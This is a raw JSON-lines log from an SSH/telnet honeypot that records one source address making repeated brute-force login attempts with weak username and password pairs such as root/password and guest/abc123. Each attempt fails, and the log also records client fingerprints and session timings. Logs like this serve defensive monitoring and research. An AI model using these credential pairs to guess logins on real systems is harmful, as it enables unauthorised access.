{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:09.320362Z","src_ip":"45.156.87.254","session":"8d9bc2c01f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53744,"dst_ip":"159.203.135.109","dst_port":22,"session":"354cec341dd1","protocol":"ssh","message":"New connection: 45.156.87.254:53744 (159.203.135.109:22) [session: 354cec341dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:12.834928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:12.840861Z","src_ip":"45.156.87.254","session":"354cec341dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:12.924978Z","src_ip":"45.156.87.254","session":"354cec341dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:13.185619Z","src_ip":"45.156.87.254","session":"354cec341dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:14.273049Z","src_ip":"45.156.87.254","session":"354cec341dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53756,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b03d4094e0","protocol":"ssh","message":"New connection: 45.156.87.254:53756 (159.203.135.109:22) [session: 44b03d4094e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:17.727144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:17.731659Z","src_ip":"45.156.87.254","session":"44b03d4094e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:17.814731Z","src_ip":"45.156.87.254","session":"44b03d4094e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:18.066035Z","src_ip":"45.156.87.254","session":"44b03d4094e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:19.155145Z","src_ip":"45.156.87.254","session":"44b03d4094e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34140,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dc17c311b41","protocol":"telnet","message":"New connection: 20.123.41.163:34140 (10.17.0.5:23) [session: 5dc17c311b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:19.937412Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46636,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ab8ce6cdcc6","protocol":"ssh","message":"New connection: 45.156.87.254:46636 (159.203.135.109:22) [session: 6ab8ce6cdcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:22.284439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:22.289744Z","src_ip":"45.156.87.254","session":"6ab8ce6cdcc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:22.373895Z","src_ip":"45.156.87.254","session":"6ab8ce6cdcc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:22.633537Z","src_ip":"45.156.87.254","session":"6ab8ce6cdcc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.042145252227783,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:22.979401Z","src_ip":"20.123.41.163","session":"5dc17c311b41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:23.719168Z","src_ip":"45.156.87.254","session":"6ab8ce6cdcc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":33224,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14b19798d7e","protocol":"telnet","message":"New connection: 20.123.41.163:33224 (10.17.0.5:23) [session: d14b19798d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:26.602631Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46642,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa0f3f571668","protocol":"ssh","message":"New connection: 45.156.87.254:46642 (159.203.135.109:22) [session: fa0f3f571668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:27.209683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:27.213919Z","src_ip":"45.156.87.254","session":"fa0f3f571668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:27.300563Z","src_ip":"45.156.87.254","session":"fa0f3f571668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:27.556768Z","src_ip":"45.156.87.254","session":"fa0f3f571668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:28.776827Z","src_ip":"45.156.87.254","session":"fa0f3f571668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":33228,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a46bf92f5c","protocol":"telnet","message":"New connection: 20.123.41.163:33228 (10.17.0.5:23) [session: c7a46bf92f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:30.911126Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50542,"dst_ip":"159.203.135.109","dst_port":22,"session":"123d5ef1602f","protocol":"ssh","message":"New connection: 45.156.87.254:50542 (159.203.135.109:22) [session: 123d5ef1602f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:32.167602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:32.174449Z","src_ip":"45.156.87.254","session":"123d5ef1602f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:32.267628Z","src_ip":"45.156.87.254","session":"123d5ef1602f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:32.545867Z","src_ip":"45.156.87.254","session":"123d5ef1602f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:33.716107Z","src_ip":"45.156.87.254","session":"123d5ef1602f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50552,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a5f9071e577","protocol":"ssh","message":"New connection: 45.156.87.254:50552 (159.203.135.109:22) [session: 4a5f9071e577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:36.912444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:36.916568Z","src_ip":"45.156.87.254","session":"4a5f9071e577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:37.013909Z","src_ip":"45.156.87.254","session":"4a5f9071e577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:37.267533Z","src_ip":"45.156.87.254","session":"4a5f9071e577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:38.414625Z","src_ip":"45.156.87.254","session":"4a5f9071e577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57812,"dst_ip":"159.203.135.109","dst_port":22,"session":"89b8539189f5","protocol":"ssh","message":"New connection: 45.156.87.254:57812 (159.203.135.109:22) [session: 89b8539189f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:42.290203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:42.295450Z","src_ip":"45.156.87.254","session":"89b8539189f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:42.391564Z","src_ip":"45.156.87.254","session":"89b8539189f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:42.644828Z","src_ip":"45.156.87.254","session":"89b8539189f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:43.734692Z","src_ip":"45.156.87.254","session":"89b8539189f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57814,"dst_ip":"159.203.135.109","dst_port":22,"session":"2056a44c7758","protocol":"ssh","message":"New connection: 45.156.87.254:57814 (159.203.135.109:22) [session: 2056a44c7758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:47.738820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:47.745183Z","src_ip":"45.156.87.254","session":"2056a44c7758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:47.848107Z","src_ip":"45.156.87.254","session":"2056a44c7758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:48.102374Z","src_ip":"45.156.87.254","session":"2056a44c7758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:49.252258Z","src_ip":"45.156.87.254","session":"2056a44c7758","protocol":"ssh"}
